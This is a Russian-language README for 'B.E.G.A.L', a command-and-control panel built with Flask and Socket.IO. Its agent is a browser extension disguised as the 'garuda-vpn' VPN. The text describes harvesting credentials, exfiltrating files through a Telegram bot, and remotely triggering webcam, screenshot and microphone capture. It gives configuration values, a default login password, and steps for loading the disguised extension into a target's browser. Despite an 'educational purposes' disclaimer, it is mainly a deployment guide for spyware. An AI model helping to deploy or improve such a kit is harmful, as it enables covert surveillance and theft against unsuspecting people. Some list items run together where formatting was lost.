
Панель управления на Flask и Socket.IO с агентом в виде вредоносного браузерного расширения, который собирает учётные данные, похищает файлы через Telegram и выполняет удалённые команды для веб-камеры, скриншотов и микрофона.
B.E.G.A.L (Backdoor Exfiltration Gateway for Advanced Looting — Шлюз эксфильтрации через бэкдор для продвинутого сбора данных) — это интерактивная веб-панель управления и контроля (C2), созданная на Python (Flask и Socket.IO). Эта платформа специально разработана для содействия исследованиям в области кибербезопасности, симуляций Red Teaming и образовательных целей, чтобы понять, как современные вредоносные программы/ботнеты осуществляют эксфильтрацию данных и удалённо управляют целями (ботами).
ЭТОТ ПРОЕКТ БЫЛ СОЗДАН ИСКЛЮЧИТЕЛЬНО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ И ДЛЯ ИССЛЕДОВАНИЙ В ОБЛАСТИ КИБЕРБЕЗОПАСНОСТИ.
Любое неправомерное использование этого инструмента для незаконной деятельности, несанкционированных атак на системы, кражи данных или иных киберпреступлений СТРОГО ЗАПРЕЩЕНО. Автор, разработчики и участники не несут ответственности за любые потери, ущерб или судебные иски, возникшие в результате использования этого программного обеспечения.
Вы полностью несёте ответственность за свои действия. Используя этот инструмент, вы соглашаетесь соблюдать все применимые законы:
config.yaml для лучшей безопасности и более простой кастомизации.Trigger Webcam (Доступ к камере цели)Trigger Screenshot (Захват экрана рабочего стола цели)Trigger Mic (Запись аудио цели)/report).
config.yaml)В последней версии B.E.G.A.L система настроек стала динамической благодаря файлу конфигурации YAML. Если этот файл не существует, система автоматически создаст его (со значениями по умолчанию) при первом запуске begal-fixed.py.
Откройте файл config.yaml, созданный в том же каталоге, и настройте следующие параметры:
BOT_TOKEN: 'YOUR_BOT_TOKEN'
CHAT_ID: 'YOUR_CHAT_ID'
XOR_KEY: 'FLIPPER_SECURE_XOR_KEY_1337'
BCRYPT_PASSWORD_HASH: '$2a$12$VZnosb4amZbO1uQ4MniFhuFiqZVEmCF.3p1jXVoiXnG/3oztPLdxe'
BOT_TOKEN: API-токен для вашего Telegram-бота (создайте его через @BotFather).CHAT_ID: ID Telegram-канала/группы, используемого в качестве туннеля для эксфильтрации данных.XOR_KEY: Симметричный криптографический ключ, используемый для обфускации передачи данных между ботом и C2-сервером. Убедитесь, что это значение совпадает с тем, что указано в браузерном расширении.BCRYPT_PASSWORD_HASH: Хеш для входа в C2 (пароль по умолчанию: datalost1337).DEFAULT USERNAME C2: flippergaruda-vpn)B.E.G.A.L разработан для работы в тандеме с «агентом» или полезной нагрузкой. В этом репозитории агент принимает форму вредоносного браузерного расширения (дополнения), замаскированного под garuda-vpn.
Как работает интеграция:
garuda-vpn содержит вредоносную полезную нагрузку (например, background.js, content.js и manifest.json). Это расширение необходимо установить в целевой браузер (например, через режим Load unpacked в Chrome/Edge).garuda-vpn, шифруются с помощью XOR_KEY и незаметно передаются (beaconing) на конечные точки API B.E.G.A.L C2 (такие как /api/v1/collector).garuda-vpn, которое затем принудительно запускает API веб-камеры в целевом браузере.python3 begal-c2.py).chrome://extensions в адресной строке. Включите Developer Mode.garuda-vpn.pip install bcrypt Flask-SocketIO requests pyyaml
python3 begal-c2.py
datalost1337)